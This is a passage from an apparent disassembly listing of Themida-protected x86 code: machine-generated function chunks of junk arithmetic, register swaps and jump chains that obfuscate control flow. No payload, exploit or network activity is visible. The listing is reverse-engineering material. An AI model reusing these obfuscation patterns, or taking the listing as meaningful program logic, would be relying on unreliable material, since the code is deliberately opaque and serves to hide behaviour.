; END OF FUNCTION CHUNK	FOR sub_562ABA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55FCA5


loc_561B5D:				; CODE XREF: sub_55FCA5+85Bj
		push	0CFCh
		mov	[esp+0Ch+var_C], esp
		add	[esp+0Ch+var_C], 4
		mov	ebx, [esp+0Ch+var_C]
		add	esp, 4
		push	ecx
		mov	ecx, 5D317E9Dh
		push	ebp
		mov	ebp, 0A2CE8167h
		add	ecx, 37C4647Eh
		add	ecx, ebp
		push	edi
		mov	edi, 4A2C65E4h
		shr	edi, 3
		shr	edi, 4
		sub	edi, 0C8CFF44Dh
		jmp	loc_57154D
; END OF FUNCTION CHUNK	FOR sub_55FCA5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_561B9D:				; CODE XREF: sub_562ABA-38Aj
		push	7EB4h
		jmp	loc_570F1A
; ---------------------------------------------------------------------------


loc_561BA7:				; CODE XREF: sub_562ABA-2FAAj
		mov	esi, [esp+12h+var_12]
		add	esp, 4
		add	esp, 4
		jmp	loc_5636CF
; ---------------------------------------------------------------------------


loc_561BB8:				; CODE XREF: sub_562ABA+96C2j
		mov	[esp+0Ah+var_C+2], esi
		xchg	ebp, [esp+0Ah+var_C+2]
		not	ebp
		jmp	loc_56766E
; ---------------------------------------------------------------------------


loc_561BC5:				; CODE XREF: sub_562ABA-1F6Bj
		push	cx
		pushf
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_561BCD:				; CODE XREF: sub_562ABA+7498j
		neg	eax
		jmp	loc_56F448
; ---------------------------------------------------------------------------


loc_561BD4:				; CODE XREF: sub_562ABA+AA94j
		push	esp
		pop	ebx
		push	esi
		mov	esi, 65746037h
		push	eax
		push	edx
		mov	edx, 78541B2Dh
		mov	eax, edx
		mov	edx, [esp+1Ch+var_1E+2]
		jmp	loc_5600D2
; ---------------------------------------------------------------------------


loc_561BED:				; CODE XREF: sub_562ABA+48E4j
		sub	edi, 4
		xchg	edi, [esp+1Ch+var_1E+2]
		pop	esp
		mov	[esp+18h+var_1A+2], ebx
		push	4F850F6Fh
		pop	ebx
		push	1723h
		mov	[esp+1Ch+var_1E+2], eax
		jmp	loc_56E307
; ---------------------------------------------------------------------------


loc_561C0A:				; CODE XREF: sub_562ABA-26A9j
		xchg	ebp, edi
		push	edx
		push	edi
		jmp	loc_56FC98
; ---------------------------------------------------------------------------


loc_561C13:				; CODE XREF: sub_562ABA+7E1j
		or	edi, ecx
		jmp	loc_5631F8
; ---------------------------------------------------------------------------


loc_561C1A:				; CODE XREF: sub_562ABA+DE8Bj
		push	ecx
		jmp	loc_55F7D9
; ---------------------------------------------------------------------------


loc_561C20:				; CODE XREF: sub_562ABA+18DBj
		mov	edx, edi
		jmp	loc_56C6CD
; ---------------------------------------------------------------------------


loc_561C27:				; CODE XREF: sub_562ABA+654Cj
		pop	ax
		xor	ah, ch
		pop	cx
		mov	bl, ah
		jmp	loc_5667FC
; ---------------------------------------------------------------------------


loc_561C34:				; CODE XREF: sub_562ABA-11C8j
		xor	eax, 0F238C958h
		jmp	loc_562AE8
; ---------------------------------------------------------------------------


loc_561C3E:				; CODE XREF: sub_562ABA+D845j
		add	ebx, ebp
		sub	ebx, 69FD37DEh
		jmp	loc_5724DD
; ---------------------------------------------------------------------------


loc_561C4B:				; CODE XREF: sub_562ABA+2C84j
		pop	eax
		add	esp, 4
		sub	esp, 4
		mov	[esp+0], ebx
		mov	ebx, esp
		sub	esp, 4
		mov	[esp+32h+var_32], edi
		mov	edi, 4CA75DE8h
		push	edx
		mov	edx, 1
		jmp	loc_56F54E
; ---------------------------------------------------------------------------


loc_561C6D:				; CODE XREF: sub_562ABA-1D7Dj
		mov	[esp+1Ah+var_1A], edx
		push	[esp+1Ah+var_16]
		pop	edx
		pop	[esp+1Ah+var_1A]
		mov	esp, [esp+16h+var_16]
		mov	word ptr [esp+16h+var_16], dx
		jmp	loc_56D672
; ---------------------------------------------------------------------------


loc_561C84:				; CODE XREF: sub_562ABA+255Bj
		xor	ebp, [esp+16h+var_16]
		xor	[esp+16h+var_16], ebp
		xor	ebp, [esp+16h+var_16]
		mov	esp, [esp+16h+var_16]
		movzx	ecx, al
		push	edx
		jmp	loc_562E44
; ---------------------------------------------------------------------------


loc_561C99:				; CODE XREF: sub_562ABA+B118j
		add	edi, ecx
		sub	edi, 1BD105BEh
		mov	ecx, [esp+1Ah+var_1A]
		add	esp, 4
		add	edi, 4
		xchg	edi, [esp+16h+var_16]
		pop	esp
		movzx	eax, al
		jmp	loc_55EA6A
; ---------------------------------------------------------------------------


loc_561CB6:				; CODE XREF: sub_562ABA+DC82j
		sub	edx, 0A310884h
		shr	edx, 4
		sub	edx, 0CAC83E2Eh
		add	ebx, edx
		pop	edx
		jmp	loc_56AC5C
; ---------------------------------------------------------------------------


loc_561CCD:				; CODE XREF: sub_562ABA+BE09j
		pop	ebx
		sub	esi, edx
		sub	esp, 4
		mov	[esp+0], ebx
		mov	ebx, 296791Ch
		sub	ebx, 0C43F1505h
		sub	esi, 1BC622Ch
		add	esi, ebx
		jmp	loc_569DED
; ---------------------------------------------------------------------------


loc_561CF1:				; CODE XREF: sub_562ABA+35Dj
		push	dword ptr [esp+0]
		push	[esp+12h+var_12]
		jmp	loc_56A308
; ---------------------------------------------------------------------------


loc_561CFC:				; CODE XREF: sub_562ABA+637j
		or	al, 36h
		xor	al, 1Ah
		sub	cl, al
		mov	eax, [esp+16h+var_16]
		add	esp, 4
		push	3639h
		jmp	loc_56DE0B
; ---------------------------------------------------------------------------


loc_561D12:				; CODE XREF: sub_562ABA+727Fj
		xor	bl, 0FCh
		xor	bl, 0F5h
		mov	dh, bl
		pop	ebx
		add	dh, 0C7h
		dec	dh
		sub	dh, 30h
		add	dh, 97h
		xor	bh, dh
		pop	edx
		jmp	loc_55E8D1
; ---------------------------------------------------------------------------


loc_561D2E:				; CODE XREF: sub_562ABA+7AD9j
		mov	ebp, [esp+0]
		add	esp, 4
		add	ebx, 0EF07C73Eh
		mov	ebp, ebx
		pop	ebx
		add	eax, 59FD0411h
		sub	eax, ebp
		jmp	loc_5630B1
; ---------------------------------------------------------------------------


loc_561D4C:				; CODE XREF: sub_562ABA-38F1j
		pop	ecx
		push	eax
		mov	ah, bl
		push	edx
		jmp	loc_5628A9
; END OF FUNCTION CHUNK	FOR sub_562ABA

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_561D56	proc near		; CODE XREF: sub_562ABA+E1BFj
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+0]
		pop	esp
		jmp	loc_55E567
sub_561D56	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_561D6E:				; CODE XREF: sub_562ABA+E6C1j
		xor	[esp+3Eh+var_3E], ecx
		xor	ecx, [esp+3Eh+var_3E]
		mov	esp, [esp+3Eh+var_3E]
		jmp	loc_56D319
; ---------------------------------------------------------------------------


loc_561D7C:				; CODE XREF: sub_562ABA+CC03j
		add	esi, 5CE2755Fh
		jmp	loc_55F32B
; ---------------------------------------------------------------------------


loc_561D87:				; CODE XREF: sub_562ABA+2356j
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+3Eh+var_3E]
		pop	esp
		jmp	loc_5679F0
; ---------------------------------------------------------------------------


loc_561D9C:				; CODE XREF: sub_562ABA+2F6Bj
		push	edi
		mov	edi, 1048736Bh
		mov	ebp, 5017D67Fh
		xor	ebp, edi
		mov	edi, [esp+3Eh+var_3E]
		jmp	loc_563537
; ---------------------------------------------------------------------------


loc_561DB1:				; CODE XREF: sub_562ABA+6921j
		mov	esp, [esp+3Eh+var_3E]
		xor	edi, [esp+3Eh+var_3E]
		jmp	loc_567316
; ---------------------------------------------------------------------------


loc_561DBC:				; CODE XREF: sub_562ABA+E45Bj
		pop	edi
		add	ebp, 3BB266Eh
		add	ebp, eax
		sub	ebp, 3BB266Eh
		jmp	loc_569555
; ---------------------------------------------------------------------------


loc_561DD0:				; CODE XREF: sub_562ABA+3092j
		mov	edi, [esp+3Ah+var_3A]
		add	esp, 4
		xor	ebp, [esp+36h+var_36]
		xor	[esp+36h+var_36], ebp
		xor	ebp, [esp+36h+var_36]
		mov	esp, [esp+36h+var_36]
		mov	word ptr [esp+36h+var_36], ax
		jmp	loc_572AF5
; ---------------------------------------------------------------------------


loc_561DEB:				; CODE XREF: sub_562ABA+AF5Dj
		add	dl, 15h
		dec	dl
		add	dl, 56h
		jmp	loc_570FA6
; ---------------------------------------------------------------------------


loc_561DF8:				; CODE XREF: sub_562ABA-2F58j
		push	ecx
		push	eax
		push	6D5D43EAh
		pop	eax
		inc	eax
		jmp	loc_55F440
; ---------------------------------------------------------------------------


loc_561E06:				; CODE XREF: sub_562ABA+9A3Aj
		sub	edi, 4
		xchg	edi, [esp+22h+var_22]
		jmp	loc_55ECB1
; ---------------------------------------------------------------------------


loc_561E11:				; CODE XREF: sub_562ABA+49F0j
		add	edi, ecx
		jmp	loc_567446
; END OF FUNCTION CHUNK	FOR sub_562ABA
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		push	eax
		mov	eax, esp
		add	eax, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_572636
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_561E3E:				; CODE XREF: sub_562ABA-310Ej
		xchg	eax, [esp+6+var_8+2]
		push	[esp+6+var_8+2]
		jmp	loc_55FCC5
; END OF FUNCTION CHUNK	FOR sub_562ABA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55FCA5


loc_561E49:				; CODE XREF: sub_55FCA5+1ABj
		sub	bx, 46D8h
		jmp	loc_56F11D
; END OF FUNCTION CHUNK	FOR sub_55FCA5

; =============== S U B	R O U T	I N E =======================================



sub_561E53	proc near		; CODE XREF: sub_562ABA+7436j

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, 64AE4E09h
		add	ebp, 0CFA6F745h
		add	edi, ebp
		pop	ebp
		add	edi, edx
		sub	edi, 3455454Eh
		mov	edx, [esp+0]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+4+var_4]
		pop	esp
		std
		push	44Bh
		mov	[esp+4+var_4], esi
		push	eax
		push	edi
		push	6B24100Bh
		pop	edi
		neg	edi
		sub	edi, 7A97EAFFh
		jmp	loc_5665FC
sub_561E53	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_561E9B:				; CODE XREF: sub_562ABA+6EEBj
		push	edi
		jmp	loc_56C87D
; ---------------------------------------------------------------------------


loc_561EA1:				; CODE XREF: sub_562ABA+AD5Bj
		push	206Eh
		mov	[esp+12h+var_12], esi
		mov	esi, 4
		jmp	loc_55E7F5
; ---------------------------------------------------------------------------


loc_561EB3:				; CODE XREF: sub_562ABA+60E0j
		add	esp, 4
		add	edx, 4
		xchg	edx, [esp+0]
		jmp	loc_55E2E1
; ---------------------------------------------------------------------------


loc_561EC1:				; CODE XREF: sub_562ABA+1400j
		mov	bh, 67h
		shl	bh, 1
		add	bh, 0A8h
		shr	bh, 6
		neg	bh
		sub	bh, 7Eh
		mov	cl, bh
		pop	ebx
		sub	cl, dl
		jmp	loc_5674FB
; ---------------------------------------------------------------------------


loc_561EDA:				; CODE XREF: sub_562ABA+7B0j
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+0Ah+var_C+2]
		pop	esp
		mov	[esp+6+var_8+2], edx
		mov	edx, 5461D30h
		push	edx
		inc	[esp+0Ah+var_C+2]
		mov	edx, [esp+0Ah+var_C+2]
		push	eax
		mov	eax, esp
		push	esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		add	eax, 4
		xchg	eax, [esp+0]
		pop	esp
		dec	edx
		jmp	loc_565C7D
; END OF FUNCTION CHUNK	FOR sub_562ABA

; =============== S U B	R O U T	I N E =======================================



sub_561F0E	proc near		; CODE XREF: sub_562ABA+AD73j

var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5632E9
sub_561F0E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_561F2A:				; CODE XREF: sub_562ABA-441j
		sub	ebp, 8FBD0913h
		add	ebx, ebp
		pop	ebp
		add	ebp, ebx
		jmp	loc_56F288
; ---------------------------------------------------------------------------


loc_561F3A:				; CODE XREF: sub_562ABA+E546j
		or	esi, 6225A56h
		and	esi, 61292B57h
		and	esi, 1664D46h
		sub	esi, 54EF33D9h
		add	esi, 0AED59F07h
		and	edi, esi
		jmp	loc_56EC7E
; ---------------------------------------------------------------------------


loc_561F5F:				; CODE XREF: sub_562ABA+3EEBj
		or	ch, bl
		pop	ebx
		push	ebx
		mov	bh, 0ACh
		xor	bh, 96h
		inc	bh
		shl	bh, 2
		jmp	loc_5656DE
; ---------------------------------------------------------------------------


loc_561F72:				; CODE XREF: sub_562ABA+D73Ej
		add	esp, 4
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_5727FB
; END OF FUNCTION CHUNK	FOR sub_562ABA
; ---------------------------------------------------------------------------


loc_561F80:				; DATA XREF: Themida_:0055DFC4o
		push	dword ptr [esp]
		jmp	loc_56108A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_561F88:				; CODE XREF: sub_562ABA+2CABj
		xchg	edx, edi
		push	edx
		not	[esp+0Ah+var_C+2]
		pop	edx
		xchg	edx, edi
		xchg	edi, edx
		xchg	edx, edi
		shl	edi, 2
		or	edi, 7FA30D6Dh
		add	edi, 8040D097h
		add	ebp, 19C11B59h
		add	ebp, edi
		push	edi
		mov	edi, 19C11B59h
		sub	ebp, edi
		jmp	loc_56B281
; END OF FUNCTION CHUNK	FOR sub_562ABA
; ---------------------------------------------------------------------------


loc_561FB9:				; CODE XREF: Themida_:0055F268j
		pop	dx
		xor	cx, 557Dh
		sub	cx, 4C51h
		mov	si, cx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	ax, 1BEEh
		push	125h
		mov	[esp], esi
		push	small 24D4h
		pop	si
		xor	si, 7572h
		add	ax, si
		pop	esi
		jmp	loc_56F886
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_561FEF:				; CODE XREF: sub_562ABA+F584j
		add	esp, 4
		jmp	loc_5611AC
; ---------------------------------------------------------------------------


loc_561FFA:				; CODE XREF: sub_562ABA+2A17j
		mov	edi, eax
		pop	eax
		sub	esp, 4
		mov	[esp+6+var_8+2], eax
		mov	eax, 412A3D9Dh
		jmp	loc_572704
; ---------------------------------------------------------------------------


loc_562010:				; CODE XREF: sub_562ABA+2DA3j
		pop	edx
		sub	eax, 6773271Ch
		jmp	loc_560803
; ---------------------------------------------------------------------------


loc_56201B:				; CODE XREF: sub_562ABA-314Dj
		mov	edi, 0FF8945ECh
		push	esi
		mov	esi, 4B356671h
		sub	edx, esi
		pop	esi
		jmp	loc_569B06
; END OF FUNCTION CHUNK	FOR sub_562ABA

; =============== S U B	R O U T	I N E =======================================



sub_56202E	proc near		; CODE XREF: sub_562ABA+8AD8j
		push	ebx
		mov	ebx, 2D770364h
		push	ecx
		mov	ecx, 468E65CFh
		jmp	loc_56D99E
sub_56202E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_56203F:				; CODE XREF: sub_562ABA+C32j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_56C59D
; END OF FUNCTION CHUNK	FOR sub_562ABA
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_56A0B6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_56205B:				; CODE XREF: sub_562ABA+1B24j
		mov	edx, esp
		jmp	loc_570796
; END OF FUNCTION CHUNK	FOR sub_562ABA
; ---------------------------------------------------------------------------
		lodsd
		push	edi
		push	eax
		jmp	loc_56D5B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_56206A:				; CODE XREF: sub_562ABA+A25Ej
		push	edx
		mov	dl, 0D1h
		xor	dl, 0CBh
		or	dl, 7Ah
		sub	dl, 7Ch
		sub	ah, dl
		jmp	loc_560682
; ---------------------------------------------------------------------------


loc_56207D:				; CODE XREF: sub_562ABA+D76Aj
		idiv	cl
		jmp	loc_55F2B8
; ---------------------------------------------------------------------------


loc_562084:				; CODE XREF: sub_562ABA+A77Aj
		mov	edi, 6A6A5A3Ch
		jmp	loc_56D482
; ---------------------------------------------------------------------------


loc_56208E:				; CODE XREF: sub_562ABA+1D1j
		add	edx, ebp
		mov	ebp, [esp+12h+var_12]
		add	esp, 4
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_56209E:				; CODE XREF: sub_562ABA+46DBj
		xor	ebx, 1AA13955h
		jmp	loc_56E4AF
; END OF FUNCTION CHUNK	FOR sub_562ABA

; =============== S U B	R O U T	I N E =======================================



sub_5620A9	proc near		; CODE XREF: sub_562ABA+A732j
		push	ebp
		mov	ebp, 4
		jmp	loc_56E215
sub_5620A9	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_5620B4:				; CODE XREF: sub_562ABA+B380j
		xor	ecx, [esp+0]
		jmp	loc_567406
; ---------------------------------------------------------------------------


loc_5620BC:				; CODE XREF: sub_562ABA+370Cj
		pop	esi
		xor	ebx, [esp+0Ah+var_C+2]
		xor	[esp+0Ah+var_C+2], ebx
		xor	ebx, [esp+0Ah+var_C+2]
		pop	esp
		sub	esp, 4
		mov	[esp+0Ah+var_C+2], ebx
		mov	ebx, 40B73419h
		push	edx
		mov	edx, 59245397h
		and	ebx, edx
		pop	edx
		shr	ebx, 1
		push	144Ch
		mov	[esp+0], ebx
		jmp	loc_56B413
; END OF FUNCTION CHUNK	FOR sub_562ABA
; ---------------------------------------------------------------------------
		lodsd
		push	ebp
		push	edx
		jmp	loc_5680D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_5620F5:				; CODE XREF: sub_562ABA+51C3j
		xor	ebx, [esp+0]
		pop	esp
		sub	ebx, 38F318A0h
		push	edx
		mov	edx, 3F384061h
		jmp	loc_568C4B
; END OF FUNCTION CHUNK	FOR sub_562ABA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55E4D4


loc_56210A:				; CODE XREF: sub_55E4D4+9j
		xor	ebp, 65700697h
		add	esi, ebp
		jmp	loc_55F3BD
; END OF FUNCTION CHUNK	FOR sub_55E4D4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_562117:				; CODE XREF: sub_562ABA+4D87j
		sub	ecx, 124661B0h
		sub	ecx, 1
		not	ecx
		dec	ecx
		xor	ecx, 11F25E1Fh
		sub	ebx, 703567F0h
		sub	ebx, 157D0B13h
		add	ebx, ecx
		add	ebx, 157D0B13h
		add	ebx, 703567F0h
		mov	ecx, [esp+0]
		add	esp, 4
		push	eax
		sub	esp, 4
		mov	[esp+12h+var_12], edi
		jmp	loc_56E51E
; ---------------------------------------------------------------------------


loc_562158:				; CODE XREF: sub_562ABA+DF82j
		push	esi
		mov	esi, 1E362538h
		or	esi, 3F4C60AAh
		sub	esp, 4
		mov	[esp+1Ah+var_1A], edi
		jmp	loc_571FE0
; ---------------------------------------------------------------------------


loc_562172:				; CODE XREF: sub_562ABA+6664j
		push	6231h
		jmp	loc_568C52
; END OF FUNCTION CHUNK	FOR sub_562ABA

; =============== S U B	R O U T	I N E =======================================



sub_56217C	proc near		; CODE XREF: sub_562ABA-3E2Ej

var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], ebx
		mov	ebx, esp
		push	edx
		mov	edx, 2A76A21h
		shl	edx, 4
		sub	edx, 2A76A20Ch
		add	ebx, edx
		jmp	loc_5715F6
sub_56217C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_56219A:				; CODE XREF: sub_562ABA+6DF6j
		mov	edx, ebp
		jmp	loc_568846
; ---------------------------------------------------------------------------


loc_5621A1:				; CODE XREF: sub_562ABA+81BCj
		pop	edx
		add	ebx, eax
		add	ebx, 244E4C8Eh
		pop	small word ptr [eax]
		jmp	loc_55EDA1
; ---------------------------------------------------------------------------


loc_5621B2:				; CODE XREF: sub_562ABA+E10j
		pop	ebp
		add	esp, 4
		push	dword ptr [edi+1Ch]
		push	[esp+14h+var_16+2]
		push	[esp+18h+var_1A+2]
		jmp	loc_569DC5
; ---------------------------------------------------------------------------


loc_5621C4:				; CODE XREF: sub_562ABA+97E0j
		pop	ebx
		push	ebx
		mov	ebx, 4
		add	ecx, 6E2F0F38h
		add	ecx, ebx
		sub	ecx, 6E2F0F38h
		pop	ebx
		jmp	loc_56D32A
; ---------------------------------------------------------------------------


loc_5621DF:				; CODE XREF: sub_562ABA+A817j
		pop	ecx
		push	63A0h
		mov	[esp+18h+var_1A+2], edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_56971A
; ---------------------------------------------------------------------------


loc_5621F5:				; CODE XREF: sub_562ABA+B4D1j
		mov	[esp+18h+var_1A+2], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		push	ebx
		push	[esp+1Ch+var_1A+2]
		pop	ebx
		pop	[esp+1Ch+var_1E+2]
		pop	esp
		push	2B64h
		jmp	loc_563A6D
; ---------------------------------------------------------------------------


loc_562217:				; CODE XREF: sub_562ABA+DF7Bj
		add	edx, ecx
		mov	ecx, [esp+18h+var_1A+2]
		push	eax
		mov	eax, esp
		jmp	loc_5680B2
; ---------------------------------------------------------------------------


loc_562224:				; CODE XREF: sub_562ABA+EB9Bj
		pop	[esp+1Ch+var_1E+2]
		pop	esp
; END OF FUNCTION CHUNK	FOR sub_562ABA
; START	OF FUNCTION CHUNK FOR sub_55FCA5


loc_562228:				; CODE XREF: sub_55FCA5+152j
					; sub_562ABA:loc_561A3Aj
		mov	ebx, [esp+0]
		jmp	loc_568611
; END OF FUNCTION CHUNK	FOR sub_55FCA5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_562230:				; CODE XREF: sub_562ABA+9453j
		xor	esi, [esp+14h+var_16+2]
		pop	esp
		push	ebx
		mov	ebx, 154F5C3Eh
		dec	ebx
		jmp	loc_564C7E
; ---------------------------------------------------------------------------


loc_562240:				; CODE XREF: sub_562ABA-1A35j
		xor	edx, [esp+2Ah+var_2C+2]
		mov	esp, [esp+2Ah+var_2C+2]
		sub	word ptr [esp+2Ah+var_2C+2], ax
		pushf
		jmp	loc_55E09F
; END OF FUNCTION CHUNK	FOR sub_562ABA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56017F


loc_562250:				; CODE XREF: sub_56017F+17j
		push	edi
		mov	edi, 4
		add	[esp+4], edi
		jmp	loc_572A9B
; END OF FUNCTION CHUNK	FOR sub_56017F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_56225F:				; CODE XREF: sub_562ABA+47C0j
		push	esi
		mov	esi, 11D90CF7h
		neg	esi
		shl	esi, 5
		xor	esi, 9F5F468Dh
		xor	ebp, esi
		pop	esi
		neg	ebp
		xchg	ecx, ebp
		dec	ecx
		push	ebp
		push	ecx
		pop	ebp
		pop	ecx
		shl	ebp, 6
		push	esi
		mov	esi, 15FE2194h
		jmp	loc_56719A
; ---------------------------------------------------------------------------


loc_56228A:				; CODE XREF: sub_562ABA+DA76j
		pop	eax
		add	ebx, ecx
		mov	ecx, [esp+0]
		add	esp, 4
		shl	ebx, 1
		push	52B1h
		mov	[esp+0], edx
		push	ecx
		mov	ecx, 144446F0h
		sub	esp, 4
		jmp	loc_567C20
; ---------------------------------------------------------------------------


loc_5622AE:				; CODE XREF: sub_562ABA+D4EDj
		mov	ecx, 4
		sub	edi, ecx
		pop	ecx
		jmp	loc_567B9A
; ---------------------------------------------------------------------------


loc_5622BB:				; CODE XREF: sub_562ABA+37EBj
		mov	esi, eax
		pop	eax
		mov	ebx, esi
		pop	esi
		mov	ebp, [esp+2Ah+var_2C+2]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_562446
; END OF FUNCTION CHUNK	FOR sub_562ABA
; ---------------------------------------------------------------------------
		push	small 4068h
		push	sp
		jmp	loc_561498
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_5622DD:				; CODE XREF: sub_562ABA-390Ej
		mov	edx, [esp+42h+var_42]
		add	esp, 4
		push	5341h
		mov	[esp+42h+var_42], edx
		push	edi
		mov	edi, 2
		jmp	loc_5616B5
; ---------------------------------------------------------------------------


loc_5622F9:				; CODE XREF: sub_562ABA+3FCFj
		add	ecx, ebp
		jmp	loc_56BACF
; ---------------------------------------------------------------------------


loc_562300:				; CODE XREF: sub_562ABA-44j
		xchg	ebp, ecx
		jmp	loc_563A9E
; ---------------------------------------------------------------------------


loc_562307:				; CODE XREF: sub_562ABA-517j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_569241
; ---------------------------------------------------------------------------


loc_562317:				; CODE XREF: sub_562ABA+1691j
		pop	ebx
		jmp	loc_563522
; ---------------------------------------------------------------------------


loc_56231D:				; CODE XREF: sub_562ABA+FFA8j
		mov	ebx, 0FC91F390h
		jmp	loc_56CC2C
; END OF FUNCTION CHUNK	FOR sub_562ABA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55F27A


loc_562327:				; CODE XREF: sub_55F27A+Fj
		xor	ebx, 8AB82F05h
		add	ecx, ebx
		pop	ebx
		xchg	ecx, [esp+0]
		pop	esp
		push	ecx
		push	edx
		jmp	loc_569220
; END OF FUNCTION CHUNK	FOR sub_55F27A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_56233B:				; CODE XREF: sub_562ABA+5F11j
		mov	eax, 52C16B36h
		or	eax, 1EA3468h
		sub	eax, 1AB37C14h
		sub	eax, 39380368h
		jmp	loc_56C48F
; ---------------------------------------------------------------------------


loc_562354:				; CODE XREF: sub_562ABA-415Aj
		mov	esi, 4
		jmp	loc_5602DF
; ---------------------------------------------------------------------------


loc_56235E:				; CODE XREF: sub_562ABA+957j
		add	esp, 4
		add	ch, 0FFh
		push	dx
		jmp	loc_55F4B6
; ---------------------------------------------------------------------------


loc_56236B:				; CODE XREF: sub_562ABA-1162j
		pop	esp
		jmp	loc_571437
; ---------------------------------------------------------------------------


loc_562371:				; CODE XREF: sub_562ABA+5FD6j
		pop	edi
		push	esi
		mov	esi, 4
		add	edi, esi
		jmp	loc_568785
; ---------------------------------------------------------------------------


loc_56237F:				; CODE XREF: sub_562ABA+5BB3j
		sub	ch, 63h
		shr	ch, 5
		inc	ch
		jmp	loc_56708C
; ---------------------------------------------------------------------------


loc_56238C:				; CODE XREF: sub_562ABA-2482j
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_562391:				; CODE XREF: sub_562ABA+E3C4j
		add	esi, 4
		xor	esi, [esp+1Eh+var_1E]
		jmp	loc_568804
; ---------------------------------------------------------------------------


loc_56239C:				; CODE XREF: sub_562ABA-3C1Dj
		push	esp
		pop	[esp+3Eh+var_3E]
		add	[esp+3Ah+var_3A], 4
		jmp	loc_5729E2
; ---------------------------------------------------------------------------


loc_5623A9:				; CODE XREF: sub_562ABA+F93Fj
		push	esi
		push	esp
		pop	esi
		push	edi
		jmp	loc_565AC9
; ---------------------------------------------------------------------------


loc_5623B2:				; CODE XREF: sub_562ABA+8F41j
		mov	ebp, 2B9C11A0h
		mov	esi, ebp
		push	[esp+42h+var_42]
		mov	ebp, [esp+46h+var_46]
		jmp	loc_568927
; ---------------------------------------------------------------------------


loc_5623C4:				; CODE XREF: sub_562ABA+57F1j
		mov	bh, cl
		push	[esp+46h+var_46]
		pop	ecx
		add	esp, 4
		jmp	loc_56E2C7
; END OF FUNCTION CHUNK	FOR sub_562ABA
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		push	ebp
		jmp	loc_56DC35
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_5623DB:				; CODE XREF: sub_562ABA+1E6Fj
		mov	ecx, 6906185h
		sub	ecx, 5D2054Ch
		and	ebp, ecx
		jmp	loc_569F73
; ---------------------------------------------------------------------------


loc_5623ED:				; CODE XREF: sub_562ABA+5F4Dj
		add	edi, ebx
		add	edi, 7EFA652Eh
		push	edx
		mov	edx, 2CEC111Bh
		sub	edi, edx
		pop	edx
		mov	ebx, [esp+42h+var_42]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+46h+var_46]
		pop	esp
		xor	edi, [esp+42h+var_42]
		xor	[esp+42h+var_42], edi
		xor	edi, [esp+42h+var_42]
		mov	esp, [esp+42h+var_42]
		push	627Ah
		mov	[esp+46h+var_46], esi
		jmp	loc_571A07
; ---------------------------------------------------------------------------


loc_56242A:				; CODE XREF: sub_562ABA+6916j
		pop	ebp
		add	eax, edi
		pop	edi
		add	edx, eax
		mov	eax, [esp+3Eh+var_3E]
		jmp	loc_567722
; ---------------------------------------------------------------------------


loc_562438:				; CODE XREF: sub_562ABA-FACj
		sub	eax, 0B51226Fh
		push	[esp+12h+var_12]
		pop	edx
